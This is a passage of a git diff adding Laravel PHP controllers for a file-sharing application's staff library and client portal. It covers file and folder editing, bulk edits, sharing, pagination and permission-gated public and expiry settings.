$validated['name'], + 'description' => $validated['description'] ?? null, + 'folder_id' => $validated['folder_id'] ?? null, + ]; + + // Only meaningful while the comment scope is `selected`, and only + // offered by the page then — but a request reaching here directly + // must not be able to set a flag the UI is currently hiding, the + // same shape as the upload_public gate below. + if ($this->commenting->scope() === CommentScope::SelectedFiles) { + $attributes['commentable'] = $validated['commentable'] ?? $file->commentable; + } + + // Only a user who can set expiration dates may change this file's + // own expiry — same "leave it alone if you lack the permission" + // rule as the upload_public gate below. + if ($request->user()?->can('set_file_expiration_date') === true) { + $attributes['expires_at'] = $this->expiryInstant($validated['expires_at'] ?? null, $request->user()); + } + + // Same rule again for the download cap, behind its own + // permission — the one that already gates a share link's + // max_downloads, since both are the same question asked about + // different objects. + if ($request->user()?->can('limit_downloads') === true) { + $attributes['download_limit'] = $validated['download_limit'] ?? null; + $attributes['download_limit_scope'] = $validated['download_limit_scope'] ?? DownloadLimitScope::Total->value; + } + + $wasPublic = $file->public; + + // Only a user who can manage public state may change it — a user + // who can edit a file but lacks upload_public leaves its public + // state exactly as it was, same rule as FoldersController::update. + if ($request->user()?->can('upload_public') === true) { + $attributes['public'] = $validated['public'] ?? $file->public; + // Omitting the field on an update leaves the current slug + // alone — it must not silently change just because the name + // did. + $attributes['slug'] = ($validated['slug'] ?? '') ?: ($file->slug ?: File::uniqueSlugFrom($validated['name'], $file->id)); + } + + $file->update($attributes); + + // Categories are gated by their own permission; leave them untouched + // for a user who can edit the file but not set categories. + if ($request->user()?->can('set_file_categories') === true) { + $file->categories()->sync($validated['categories'] ?? []); + } + + $this->activity->log(Action::FileUpdated, subject: $file); + + if (! $wasPublic && $file->public) { + $this->activity->log(Action::FileMadePublic, subject: $file, context: ['slug' => $file->slug]); + } elseif ($wasPublic && ! $file->public) { + $this->activity->log(Action::FileMadePrivate, subject: $file); + } + + return back()->with('success', __('File updated.')); + } + + /** + * Reparent a file into a folder (or the root) — the drag-and-drop + * move. Unlike update() this touches only the folder, so it needs no + * name/description payload. + */ + public function move(Request $request, File $file): RedirectResponse + { + Gate::authorize('update', $file); + + $validated = $request->validate([ + 'folder_id' => ['nullable', 'integer', 'exists:folders,id'], + ]); + + $folderId = $validated['folder_id'] ?? null; + $user = $request->user(); + + // The target folder must be one the mover can actually see. + if ($folderId !== null && $user !== null) { + $this->scope->folders($user)->findOrFail($folderId); + } + + $file->update(['folder_id' => $folderId]); + + $this->activity->log(Action::FileUpdated, subject: $file); + + return back(); + } + + /** + * WordPress-style "Bulk Edit": one shared set of changes applied to + * every selected file. Every field defaults to "no change" via its own + * *_action sentinel, so a field left untouched in the dialog truly + * isn't touched here — critical for categories, where naively applying + * an empty list would wipe every file's existing categories instead of + * leaving them alone. + */ + public function bulkUpdate(Request $request): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + $validated = $request->validate([ + 'file_ids' => ['required', 'array', 'min:1'], + 'file_ids.*' => ['integer', 'distinct'], + + 'folder_action' => ['required', Rule::in(['no_change', 'move'])], + 'folder_id' => ['nullable', 'integer', 'exists:folders,id'], + + 'description_action' => ['required', Rule::in(['no_change', 'set'])], + 'description' => ['nullable', 'string', 'max:2000'], + + 'expiration_action' => ['required', Rule::in(['no_change', 'set', 'clear'])], + 'expires_at' => ['nullable', 'date', 'required_if:expiration_action,set'], + + // `sometimes` rather than `required` like the fields above: + // a browser still running the previous build would start + // getting 422s on every bulk edit the moment this deployed. + 'download_limit_action' => ['sometimes', Rule::in(['no_change', 'set', 'clear'])], + 'download_limit' => ['nullable', 'integer', 'min:1', 'required_if:download_limit_action,set'], + 'download_limit_scope' => ['nullable', Rule::enum(DownloadLimitScope::class)], + + 'add_category_ids' => ['array'], + 'add_category_ids.*' => ['integer', 'exists:categories,id'], + 'remove_category_ids' => ['array'], + 'remove_category_ids.*' => ['integer', 'exists:categories,id'], + ]); + + $touchesNothing = $validated['folder_action'] === 'no_change' + && $validated['description_action'] === 'no_change' + && $validated['expiration_action'] === 'no_change' + && ($validated['download_limit_action'] ?? 'no_change') === 'no_change' + && ($validated['add_category_ids'] ?? []) === [] + && ($validated['remove_category_ids'] ?? []) === []; + abort_if($touchesNothing, 422, __('Change at least one field before applying a bulk edit.')); + + // The target folder must be one this user can actually see — same + // rule move() already applies to a single file's target. + $targetFolderId = null; + if ($validated['folder_action'] === 'move') { + $targetFolderId = $validated['folder_id'] ?? null; + if ($targetFolderId !== null) { + $this->scope->folders($user)->findOrFail($targetFolderId); + } + } + + // Silently drop anything this user isn't allowed to edit — same + // convention as ZipDownloadsController::store's Gate::allows filter + // — rather than 403ing the whole batch over one file. + $files = File::query()->whereIn('id', $validated['file_ids'])->get() + ->filter(fn (File $file): bool => Gate::forUser($user)->allows('update', $file)); + + abort_if($files->isEmpty(), 422, __('None of the selected files could be edited.')); + + $canSetExpiration = $user->can('set_file_expiration_date'); + $canLimitDownloads = $user->can('limit_downloads'); + $canSetCategories = $user->can('set_file_categories'); + $addCategoryIds = $validated['add_category_ids'] ?? []; + $removeCategoryIds = $validated['remove_category_ids'] ?? []; + $updated = 0; + + DB::transaction(function () use ($files, $user, $validated, $targetFolderId, $canSetExpiration, $canLimitDownloads, $canSetCategories, $addCategoryIds, $removeCategoryIds, &$updated): void { + foreach ($files as $file) { + $attributes = []; + + if ($validated['folder_action'] === 'move') { + $attributes['folder_id'] = $targetFolderId; + } + + if ($validated['description_action'] === 'set') { + $attributes['description'] = $validated['description'] ?? null; + } + + // Same "leave it alone if you lack the permission" rule as + // update()'s expires_at handling. + if ($validated['expiration_action'] !== 'no_change' && $canSetExpiration) { + $attributes['expires_at'] = $validated['expiration_action'] === 'set' + ? $this->expiryInstant($validated['expires_at'], $user) + : null; + } + + // Same rule again, behind its own permission. + $limitAction = $validated['download_limit_action'] ?? 'no_change'; + + if ($limitAction !== 'no_change' && $canLimitDownloads) { + $setting = $limitAction === 'set'; + $attributes['download_limit'] = $setting ? (int) $validated['download_limit'] : null; + $attributes['download_limit_scope'] = $setting + ? ($validated['download_limit_scope'] ?? DownloadLimitScope::Total->value) + : DownloadLimitScope::Total->value; + } + + if ($attributes !== []) { + $file->update($attributes); + } + + // Add/remove, never sync() — bulk edit must never wipe + // categories the admin didn't ask to touch. + $categoriesTouched = false; + if ($canSetCategories) { + if ($addCategoryIds !== []) { + $file->categories()->syncWithoutDetaching($addCategoryIds); + $categoriesTouched = true; + } + if ($removeCategoryIds !== []) { + $file->categories()->detach($removeCategoryIds); + $categoriesTouched = true; + } + } + + if ($attributes !== [] || $categoriesTouched) { + $this->activity->log(Action::FileUpdated, subject: $file); + $updated++; + } + } + }); + + $requested = count($validated['file_ids']); + $message = $updated < $requested + ? __(':updated of :requested selected files were updated. The rest were skipped because you don\'t have permission to edit them.', ['updated' => $updated, 'requested' => $requested]) + : trans_choice(':count file updated.|:count files updated.', $updated, ['count' => $updated]); + + return back()->with('success', $message); + } + + public function destroy(File $file): RedirectResponse + { + Gate::authorize('delete', $file); + + $name = $file->name; + // Soft delete; the bytes stay on disk until a purge policy + // lands with the retention work. + $file->delete(); + + $this->activity->log(Action::FileDeleted, context: ['name' => $name]); + + return redirect()->route('files.index')->with('success', __('File deleted.')); + } + + /** + * The instant a `` expiry actually falls on. + * + * The form posts a bare `YYYY-MM-DD`, which Eloquent would otherwise + * store as midnight UTC — so "expires on the 12th" would cut the file + * off partway through the 11th for anyone in the Americas, and give + * anyone east of Greenwich most of a day they were not promised. It + * means the end of the 12th where the person setting it lives. + */ + private function expiryInstant(?string $date, ?User $setter): ?Carbon + { + return $date === null + ? null + : LocalDay::end($date, $this->timezones->resolve($setter)); + } +} diff --git a/app/Modules/Files/Http/Controllers/FolderAssignmentsController.php b/app/Modules/Files/Http/Controllers/FolderAssignmentsController.php new file mode 100644 index 00000000..0c16e66c --- /dev/null +++ b/app/Modules/Files/Http/Controllers/FolderAssignmentsController.php @@ -0,0 +1,83 @@ +resolveRequestedTarget( + $request, + __('Folders can only be shared with clients or groups.'), + ); + + FolderAssignment::query()->firstOrCreate([ + 'folder_id' => $folder->id, + 'assignable_type' => $this->assignableType($assignable), + 'assignable_id' => $assignable->getKey(), + ]); + + $this->activity->log(Action::FolderShared, subject: $folder, context: ['target' => $targetName]); + + $recipients = $this->shareRecipients($assignable); + $this->notifier->send('file_shared', $recipients, subject: $folder, data: ['itemName' => $folder->name]); + + // The master switch and each recipient's own preference are the + // digester's job now — every caller was repeating them. + $this->digester->queue('file_shared', $recipients, $folder->name, ['is_folder' => true]); + + return back(); + } + + public function destroy(Request $request, Folder $folder): RedirectResponse + { + Gate::authorize('update', $folder); + + [$assignable, $targetName] = $this->resolveRequestedTarget( + $request, + __('Folders can only be shared with clients or groups.'), + ); + + $deleted = FolderAssignment::query() + ->where('folder_id', $folder->id) + ->where('assignable_type', $this->assignableType($assignable)) + ->where('assignable_id', $assignable->getKey()) + ->delete(); + + if ($deleted > 0) { + $this->activity->log(Action::FolderUnshared, subject: $folder, context: ['target' => $targetName]); + } + + return back(); + } +} diff --git a/app/Modules/Files/Http/Controllers/FoldersController.php b/app/Modules/Files/Http/Controllers/FoldersController.php new file mode 100644 index 00000000..de25005e --- /dev/null +++ b/app/Modules/Files/Http/Controllers/FoldersController.php @@ -0,0 +1,426 @@ +user(); + assert($user !== null); + + $validated = $request->validate([ + 'search' => ['nullable', 'string', 'max:255'], + 'folder' => ['nullable', 'integer'], + 'category' => ['nullable', 'integer', 'exists:categories,id'], + // Not a 'boolean' rule: that only accepts true/false/0/1/'0'/'1', + // rejecting the literal "true"/"" the frontend checkbox sends. + // $request->boolean() below coerces any of those safely, so + // there's nothing for a validation rule to add here. + ]); + $search = trim($validated['search'] ?? ''); + $searching = $search !== ''; + $categoryId = $validated['category'] ?? null; + $expired = $request->boolean('expired'); + + // A search term, a category filter, or the expired-only filter all + // switch to a flat view across the whole visible library; + // otherwise it's folder browsing. + $flat = $searching || $categoryId !== null || $expired; + + $folderQuery = $this->scope->folders($user)->withCount(['children', 'files']); + // `downloads` unconditionally — the library has always shown a + // downloads column. The viewer's own count is only added when + // something on this install is actually limited. + $fileQuery = $this->allowance->withOwnCount( + $this->scope->files($user)->with('uploader.role', 'categories', 'folder') + ->withCount(['assignments', 'downloads']), + $user, + ); + + if ($flat) { + $current = null; + $folders = $searching + ? $folderQuery->where('name', 'like', "%{$search}%")->orderBy('name') + : $folderQuery->whereRaw('1 = 0'); + $files = $fileQuery + ->when($searching, fn (Builder $q) => $q->where(fn (Builder $w) => $w + ->where('name', 'like', "%{$search}%")->orWhere('original_name', 'like', "%{$search}%"))) + ->when($categoryId !== null, fn (Builder $q) => $q + ->whereHas('categories', fn (Builder $c) => $c->where('categories.id', $categoryId))) + ->when($expired, fn (Builder $q) => $q->expired()) + ->orderBy('name'); + } else { + $current = $request->integer('folder') > 0 + ? $this->scope->folders($user)->find($request->integer('folder')) + : null; + $folders = $folderQuery + ->where('parent_id', $current?->id) + ->orderBy('name'); + $files = $fileQuery + ->where('folder_id', $current?->id) + ->orderByDesc('created_at'); + } + + $page = Paginator::resolveCurrentPage(); + + // ConcatenatedPagination is intentionally model-agnostic (Folder + // here, File/Group elsewhere) — Larastan's Builder generic is + // invariant, so a heterogeneous array of builders needs an + // explicit widen/narrow at each call site; sound at runtime since + // each key's builder only ever queries its own model. + /** @var array> $sequences */ + $sequences = ['folders' => $folders, 'files' => $files]; + + $sliced = ConcatenatedPagination::slice( + $sequences, + $page, + self::PER_PAGE, + ['path' => $request->url(), 'query' => $request->query()], + ); + /** @var Collection $folderRows */ + $folderRows = $sliced['items']['folders']; + /** @var Collection $fileRows */ + $fileRows = $sliced['items']['files']; + + // A stale/guessed ?page= beyond what actually exists (same + // protection OrphanFilesController::index() already has) would + // otherwise silently render an empty page instead of the real one. + if (Pagination::isPastLastPage($sliced['paginator'], $page)) { + return redirect()->route('files.index', array_filter([ + 'search' => $search !== '' ? $search : null, + 'folder' => $current?->id, + 'category' => $categoryId, + 'expired' => $expired ? 'true' : null, + 'page' => Pagination::redirectPage($sliced['paginator']), + ])); + } + + // Resolved once for the whole page rather than per row — see + // VisibleCommentScope::countsFor. + $fileIds = array_values(array_map(intval(...), $fileRows->pluck('id')->all())); + $commentCounts = $this->comments->countsFor($user, $fileRows); + $pendingCounts = $this->comments->pendingCountsFor($user, $fileIds); + // Two queries for the page, not two per row — same batching shape + // as the comment counts above. + $versions = $this->versionLinks->forMany($fileRows, $user, fn (File $other): string => route('files.edit', $other, false)); + + return Inertia::render('files/index', [ + 'folder' => $current === null ? null : ['id' => $current->id, 'name' => $current->name], + 'breadcrumb' => $flat ? [] : $this->breadcrumbs->for($current), + 'folders' => $folderRows->map(fn (Folder $folder): array => $this->folderRow($user, $folder))->all(), + 'files' => $fileRows->map(fn (File $file): array => $this->fileRow($user, $file, $commentCounts, $pendingCounts, $versions))->all(), + 'pagination' => Pagination::meta($sliced['paginator']), + 'search' => $search, + 'searching' => $flat, + 'category' => $categoryId, + 'expired' => $expired, + 'categories' => Category::query()->orderBy('name')->get(['id', 'name', 'color']) + ->map(fn (Category $category): array => ['id' => $category->id, 'name' => $category->name, 'color' => $category->color])->all(), + 'folder_options' => Folder::query()->orderBy('path')->orderBy('name')->get() + ->map(fn (Folder $folder): array => ['id' => $folder->id, 'name' => $folder->name])->all(), + 'can_create_folders' => $user->can('create_own_folders'), + 'can_upload' => $user->can('upload'), + 'can_manage_public' => $user->can('upload_public'), + 'comments_enabled' => $this->commenting->enabled(), + ]); + } + + /** + * @return array + */ + private function folderRow(User $user, Folder $folder): array + { + return [ + 'id' => $folder->id, + 'name' => $folder->name, + // Effective status (self or inherited from a public ancestor), + // not just the folder's own flag — this is the "will visitors + // on the public site see this" badge, same as fileRow() below. + 'public' => $folder->isEffectivelyPublic(), + // Unlike the badge above, a working public page only exists for + // a folder that is *itself* flagged public — PublicFoldersController + // looks up strictly on `public = true`, so a folder that's only + // effectively public via an ancestor has no page of its own. + 'public_url' => $folder->public + ? $this->publicUrl->for($folder) + : null, + 'children_count' => $folder->children_count, + 'files_count' => $folder->files_count, + 'shared_count' => $folder->assignments()->count(), + 'can_update' => Gate::forUser($user)->allows('update', $folder), + 'can_delete' => Gate::forUser($user)->allows('delete', $folder), + ]; + } + + /** + * @param array $commentCounts + * @param array $pendingCounts + * @param array $versions + * @return array + */ + private function fileRow(User $user, File $file, array $commentCounts = [], array $pendingCounts = [], array $versions = []): array + { + return [ + 'id' => $file->id, + 'name' => $file->name, + 'original_name' => $file->original_name, + 'mime_type' => $file->mime_type, + 'size' => $file->size, + 'uploader' => $file->uploader ? [ + 'name' => $file->uploader->name, + 'type' => $file->uploader->type->value, + 'role' => $file->uploader->role?->name, + ] : null, + 'public' => $file->isEffectivelyPublic(), + 'expired' => $file->isExpired(), + // No link at all once expired — the public route 404s past + // expiry too (see File::scopeNotExpired's callers), so there's + // no point offering a button that leads to a dead page. + 'public_url' => ($file->isEffectivelyPublic() && ! $file->isExpired()) + ? $this->publicUrl->for($file) + : null, + 'assignments_count' => $file->assignments_count, + 'downloads_count' => $file->downloads_count, + // Staff are subject to a limit like anyone else — only the + // file's own uploader is exempt — so the library shows the + // same spent state the portal does. + 'download_limit' => $this->allowance->summaryFor($file, $user), + 'comments_count' => $commentCounts[$file->id] ?? 0, + // Only ever non-zero for a moderator: a staff member who + // cannot approve should not be shown a badge asking them to. + 'pending_comments_count' => $pendingCounts[$file->id] ?? 0, + 'created_at' => $file->created_at?->toIso8601String(), + // Already narrowed to what this viewer may be told about; a + // null end is "no such link, or not yours to know". + 'version' => $versions[$file->id] ?? ['previous' => null, 'next' => null], + 'can_update' => Gate::forUser($user)->allows('update', $file), + 'can_delete' => Gate::forUser($user)->allows('delete', $file), + 'categories' => $file->categories->map(fn (Category $category): array => [ + 'id' => $category->id, 'name' => $category->name, 'color' => $category->color, + ])->values()->all(), + ]; + } + + public function edit(Request $request, Folder $folder): Response + { + $user = $request->user(); + assert($user !== null); + Gate::forUser($user)->authorize('view', $folder); + + return Inertia::render('files/folder', [ + 'folder' => [ + 'id' => $folder->id, + 'name' => $folder->name, + 'parent_id' => $folder->parent_id, + 'public' => $folder->public, + 'allow_client_uploads' => $folder->allow_client_uploads, + 'slug' => $folder->slug, + ], + 'public_url' => $folder->public + ? $this->publicUrl->for($folder) + : null, + 'breadcrumb' => $this->breadcrumbs->for($folder), + 'can_update' => Gate::forUser($user)->allows('update', $folder), + 'can_manage_public' => $user->can('upload_public'), + ...$this->shareTargets->forSubject($folder, $user), + ]); + } + + public function store(Request $request): RedirectResponse + { + $user = $request->user(); + // Requires upload too, same as the client portal's MyFoldersController::store() + // — a folder nobody can put anything in isn't useful on its own. + abort_unless($user !== null && $user->can('create_own_folders') && $user->can('upload'), 403); + + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'parent_id' => ['nullable', 'integer', 'exists:folders,id'], + 'public' => ['sometimes', 'boolean'], + 'slug' => Rules::slug('folders'), + 'allow_client_uploads' => ['sometimes', 'boolean'], + ]); + + $parent = $this->resolveParent($user, $validated['parent_id'] ?? null); + + $folder = $this->folders->create($validated['name'], $parent); + + // Only a user who can manage public state may set it on create — + // create_own_folders alone doesn't imply upload_public. + if ($user->can('upload_public')) { + $public = $validated['public'] ?? false; + $folder->update([ + 'public' => $public, + 'slug' => $public ? (($validated['slug'] ?? '') ?: $folder->slug) : $folder->slug, + 'allow_client_uploads' => $public && ($validated['allow_client_uploads'] ?? false), + ]); + } + + $this->activity->log(Action::FolderCreated, subject: $folder); + + if ($folder->public) { + $this->activity->log(Action::FolderMadePublic, subject: $folder, context: [ + 'allow_client_uploads' => $folder->allow_client_uploads, + 'slug' => $folder->slug, + ]); + } + + return back()->with('success', __('Folder created.')); + } + + public function update(Request $request, Folder $folder): RedirectResponse + { + $user = $request->user(); + Gate::authorize('update', $folder); + + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'public' => ['sometimes', 'boolean'], + // Omitting the field on an update leaves the current slug + // alone — it must not silently change just because the name + // did, same rule as FilesController::update. + 'slug' => Rules::slug('folders', $folder->id), + 'allow_client_uploads' => ['sometimes', 'boolean'], + ]); + + $attributes = ['name' => $validated['name']]; + + $wasPublic = $folder->public; + $wasAllowClientUploads = $folder->allow_client_uploads; + + // Only a user who can manage public state may change it — a user + // who can rename/share a folder but lacks upload_public leaves its + // public state exactly as it was. + if ($user?->can('upload_public') === true) { + $public = $validated['public'] ?? $folder->public; + $attributes['public'] = $public; + $attributes['slug'] = $public ? (($validated['slug'] ?? '') ?: ($folder->slug ?: Folder::uniqueSlugFrom($validated['name'], $folder->id))) : $folder->slug; + $attributes['allow_client_uploads'] = $public && ($validated['allow_client_uploads'] ?? false); + } + + $folder->update($attributes); + + $this->activity->log(Action::FolderRenamed, subject: $folder); + + if ($folder->public && (! $wasPublic || $folder->allow_client_uploads !== $wasAllowClientUploads)) { + $this->activity->log(Action::FolderMadePublic, subject: $folder, context: [ + 'allow_client_uploads' => $folder->allow_client_uploads, + 'slug' => $folder->slug, + ]); + } elseif ($wasPublic && ! $folder->public) { + $this->activity->log(Action::FolderMadePrivate, subject: $folder); + } + + return back(); + } + + public function move(Request $request, Folder $folder): RedirectResponse + { + Gate::authorize('update', $folder); + + $validated = $request->validate([ + 'parent_id' => ['nullable', 'integer', 'exists:folders,id'], + ]); + + $newParent = $this->resolveParent($request->user(), $validated['parent_id'] ?? null); + + $this->folders->move($folder, $newParent); + + $this->activity->log(Action::FolderMoved, subject: $folder); + + return back(); + } + + public function destroy(Folder $folder): RedirectResponse + { + Gate::authorize('delete', $folder); + + $name = $folder->name; + $parentId = $folder->parent_id; + + $this->folders->delete($folder); + + $this->activity->log(Action::FolderDeleted, context: ['name' => $name]); + + return redirect()->route('files.index', $parentId !== null ? ['folder' => $parentId] : [])->with('success', __('Folder deleted.')); + } + + private function resolveParent(?User $user, ?int $parentId): ?Folder + { + if ($user === null || $parentId === null) { + return null; + } + + return $this->scope->folders($user)->findOrFail($parentId); + } +} diff --git a/app/Modules/Files/Http/Controllers/MyFilesController.php b/app/Modules/Files/Http/Controllers/MyFilesController.php new file mode 100644 index 00000000..9f9897b7 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/MyFilesController.php @@ -0,0 +1,327 @@ +user(); + abort_unless($client !== null && $client->isClient(), 404); + + $validated = $request->validate([ + 'search' => ['nullable', 'string', 'max:255'], + 'folder' => ['nullable', 'integer'], + 'category' => ['nullable', 'integer', 'exists:categories,id'], + 'owner' => ['nullable', Rule::in(['mine', 'shared'])], + 'sort' => ['nullable', Rule::in(['name', 'size', 'date'])], + 'direction' => ['nullable', Rule::in(['asc', 'desc'])], + ]); + $search = trim($validated['search'] ?? ''); + $searching = $search !== ''; + $categoryId = isset($validated['category']) ? (int) $validated['category'] : null; + $owner = $validated['owner'] ?? null; + $sort = $validated['sort'] ?? 'date'; + $direction = $validated['direction'] ?? 'desc'; + + // Every folder the client may see: staff-shared subtrees plus any + // folder they created themselves, anywhere in that visible tree. + $visibleIds = array_values(Folder::query()->visibleToClient($client)->pluck('id')->map(fn ($id): int => (int) $id)->all()); + + // A search term, a category filter, or an owner filter all switch to + // a flat, global view across everything the client may see — same + // convention as the staff library (FoldersController) uses for + // search/category. Sorting never does: it only changes the order of + // whichever set (flat or folder-scoped) is already being shown. + $flat = $searching || $categoryId !== null || $owner !== null; + + if ($flat) { + // `visibleToClient` is the single source of truth, so the + // privacy rule (never surfacing an unshared folder's name) holds: + // only shared folders match, and files are shown without folder + // context in the portal rows. + $current = null; + $folders = $searching + ? Folder::query()->visibleToClient($client)->where('name', 'like', "%{$search}%")->orderBy('name') + : Folder::query()->whereRaw('1 = 0'); + + $filesQuery = File::query()->visibleToClient($client) + ->when($searching, fn (Builder $q) => $q + ->where(fn (Builder $w) => $w->where('name', 'like', "%{$search}%")->orWhere('original_name', 'like', "%{$search}%"))); + } else { + // The folder being browsed must itself be visible to the client. + $current = null; + if ($request->integer('folder') > 0) { + $current = Folder::query()->visibleToClient($client)->find($request->integer('folder')); + abort_if($current === null, 404); + } + + // Subfolders: at root, every visible folder whose parent isn't + // itself visible (top of each shared subtree, or a client-owned + // folder with no visible parent); inside a folder, its direct + // children. + if ($current === null) { + $folders = Folder::query() + ->whereIn('id', $visibleIds) + ->where(fn ($q) => $q->whereNull('parent_id')->orWhereNotIn('parent_id', $visibleIds)) + ->orderBy('name'); + } else { + $folders = Folder::query()->where('parent_id', $current->id)->orderBy('name'); + } + + // Files: inside a folder, that folder's files; at root, only + // loosely (directly/group) assigned files with no folder — the + // ones in an unshared folder (or a visible one, browsed via its + // own listing) show here with no folder context. + $filesQuery = File::query()->visibleToClient($client); + if ($current === null) { + $filesQuery->where(fn (Builder $q) => $q->whereNull('folder_id')->orWhereNotIn('folder_id', $visibleIds)); + } else { + $filesQuery->where('folder_id', $current->id); + } + } + + $filesQuery + ->when($categoryId !== null, fn (Builder $q) => $q + ->whereHas('categories', fn (Builder $c) => $c->where('categories.id', $categoryId))) + ->when($owner === 'mine', fn (Builder $q) => $q->where('uploaded_by', $client->id)) + ->when($owner === 'shared', fn (Builder $q) => $q->where('uploaded_by', '!=', $client->id)); + + $column = match ($sort) { + 'name' => 'name', + 'size' => 'size', + default => 'created_at', + }; + // The download counts a spent-limit badge needs, attached only + // when this installation uses limits at all — otherwise every + // portal listing would pay two correlated subqueries per row for + // a feature nobody here has turned on. + $files = $this->allowance->withCounts($filesQuery, $client) + ->with('categories', 'folder') + ->orderBy($column, $direction); + + $page = Paginator::resolveCurrentPage(); + + // ConcatenatedPagination is model-agnostic — Larastan's Builder + // generic is invariant, so a heterogeneous array of builders + // needs an explicit widen/narrow at the call site (sound at + // runtime since each key's builder only ever queries its own + // model). Same pattern as FoldersController::index(). + /** @var array> $sequences */ + $sequences = ['folders' => $folders, 'files' => $files]; + + $sliced = ConcatenatedPagination::slice( + $sequences, + $page, + self::PER_PAGE, + ['path' => $request->url(), 'query' => $request->query()], + ); + + if (Pagination::isPastLastPage($sliced['paginator'], $page)) { + return redirect()->route('my-files.index', array_filter([ + 'search' => $search !== '' ? $search : null, + 'folder' => $current?->id, + 'category' => $categoryId, + 'owner' => $owner, + 'sort' => $sort !== 'date' ? $sort : null, + 'direction' => $direction !== 'desc' ? $direction : null, + 'page' => Pagination::redirectPage($sliced['paginator']), + ])); + } + + /** @var Collection $folderRows */ + $folderRows = $sliced['items']['folders']; + /** @var Collection $fileRows */ + $fileRows = $sliced['items']['files']; + + $commentCounts = $this->comments->countsFor($client, $fileRows); + // Two queries for the page, not two per row. No URL resolver: the + // portal has no per-file page to link to, so a counterpart is named + // and not linked (see docs/theming-files-checklist.md). + $versions = $this->versionLinks->forMany($fileRows, $client); + $unreadComments = $this->comments->unreadCountsFor($client, array_values(array_map(intval(...), $fileRows->pluck('id')->all()))); + + return Inertia::render("portal/themes/{$this->themeKey()}/my-files", [ + 'folder' => $current === null ? null : ['id' => $current->id, 'name' => $current->name], + 'breadcrumb' => $flat ? [] : $this->breadcrumbs->visible($current, $visibleIds), + 'folders' => $folderRows->map(fn (Folder $folder): array => [ + 'id' => $folder->id, + 'name' => $folder->name, + 'is_mine' => $folder->created_by === $client->id, + 'public' => $folder->isEffectivelyPublic(), + 'can_update' => Gate::forUser($client)->allows('update', $folder), + 'can_delete' => Gate::forUser($client)->allows('delete', $folder), + ])->values()->all(), + // Comment counts for the page's rows, resolved in two queries + // for the whole page rather than one per row — see + // VisibleCommentScope::countsFor. + 'comments_enabled' => $this->commenting->enabled(), + 'files' => $fileRows->map(fn (File $file): array => [ + 'id' => $file->id, + 'name' => $file->name, + 'description' => $file->description, + 'original_name' => $file->original_name, + 'mime_type' => $file->mime_type, + 'size' => $file->size, + 'created_at' => $file->created_at?->toIso8601String(), + 'is_mine' => $file->uploaded_by === $client->id, + // Effective status (own flag or inherited from a public + // folder) — same "will visitors on the public site see + // this" badge as the staff library shows. + 'public' => $file->isEffectivelyPublic(), + 'comments_count' => $commentCounts[$file->id] ?? 0, + 'unread_comments_count' => $unreadComments[$file->id] ?? 0, + // Already narrowed to what this client may be told: a + // counterpart they were not given is null, not hidden by + // the theme. A theme must never filter this itself. + 'version' => $versions[$file->id] ?? ['previous' => null, 'next' => null], + 'categories' => $file->categories->map(fn (Category $category): array => [ + 'id' => $category->id, 'name' => $category->name, 'color' => $category->color, + ])->values()->all(), + // Already decided — see DownloadAllowance::summaryFor. + // `blocked` means this client may no longer take a copy; + // the row still shows, which is the whole difference from + // an expired file. + 'download_limit' => $this->allowance->summaryFor($file, $client), + ])->values()->all(), + 'pagination' => Pagination::meta($sliced['paginator']), + 'search' => $search, + 'searching' => $flat, + 'category' => $categoryId, + 'categories' => Category::query()->orderBy('name')->get(['id', 'name', 'color']) + ->map(fn (Category $category): array => ['id' => $category->id, 'name' => $category->name, 'color' => $category->color])->all(), + 'owner' => $owner, + 'sort' => $sort, + 'direction' => $direction, + 'can_upload' => $client->can('upload'), + 'can_upload_here' => Folder::uploadableBy($client, $current), + 'can_create_folders' => $client->can('create_own_folders'), + ]); + } + + public function upload(Request $request): Response + { + $client = $request->user(); + abort_unless($client !== null && $client->isClient(), 404); + abort_unless($client->can('upload'), 403); + + $folder = null; + if ($request->integer('folder') > 0) { + $folder = Folder::query()->visibleToClient($client)->find($request->integer('folder')); + abort_if($folder === null, 404); + abort_unless(Folder::uploadableBy($client, $folder), 403); + } + + return Inertia::render('portal/upload', [ + 'allowed_extensions' => $this->extensionPolicy->hintFor($client), + 'max_file_size_mb' => (int) $this->settings->get(Setting::MaxFileSizeMb), + 'part_size_mb' => (int) config('projectsend.upload_part_size_mb'), + 'remaining_bytes' => $this->storageUsage->remainingBytes($client), + 'quota_bytes' => $this->storageUsage->quotaBytes($client) ?: null, + 'used_bytes' => $this->storageUsage->usedBytes($client), + 'theme' => $this->themeKey(), + 'folder' => $folder === null ? null : ['id' => $folder->id, 'name' => $folder->name], + // Upload time is the only place a client can set this: there is + // no per-file editor in the portal, and none is being added. + 'version_candidates_url' => route('my-files.version-candidates', [], false), + ]); + } + + /** + * Files this client may name as the previous version of what they are + * uploading — THEIR OWN UPLOADS ONLY. + * + * Not the files visible to them: a revision inherits the recipients of + * the file it revises, so offering a file staff shared with them would + * be offering a way to publish their upload to a recipient list they do + * not own. FilePolicy::setVersion enforces the same rule server-side + * when the upload completes; this only keeps the picker honest. + */ + public function versionCandidates(Request $request): JsonResponse + { + $client = $request->user(); + abort_unless($client !== null && $client->isClient(), 404); + abort_unless($client->can('upload'), 403); + + $candidates = $this->versions + ->candidates(null, $client, trim((string) $request->query('search', ''))) + ->map(fn (File $file): array => [ + 'id' => $file->id, + 'name' => $file->name, + 'original_name' => $file->original_name, + ])->values(); + + return response()->json(['files' => $candidates]); + } + + private function themeKey(): string + { + $value = $this->settings->get(Setting::Theme); + + return $this->themes->resolve(is_string($value) ? $value : 'default', $this->capabilities); + } +} diff --git a/app/Modules/Files/Http/Controllers/MyFoldersController.php b/app/Modules/Files/Http/Controllers/MyFoldersController.php new file mode 100644 index 00000000..793e2d76 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/MyFoldersController.php @@ -0,0 +1,111 @@ +user(); + abort_unless($client !== null && $client->isClient(), 404); + // Creating one requires upload too — an empty folder a client can + // never put anything in isn't useful on its own (renaming/deleting + // an existing one, below, doesn't carry this requirement: it stays + // theirs to manage even if upload is later revoked). + abort_unless($client->can('create_own_folders') && $client->can('upload'), 403); + + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'parent_id' => ['nullable', 'integer', 'exists:folders,id'], + ]); + + $parent = null; + if (($validated['parent_id'] ?? null) !== null) { + $parent = Folder::query()->visibleToClient($client)->whereKey($validated['parent_id'])->firstOrFail(); + 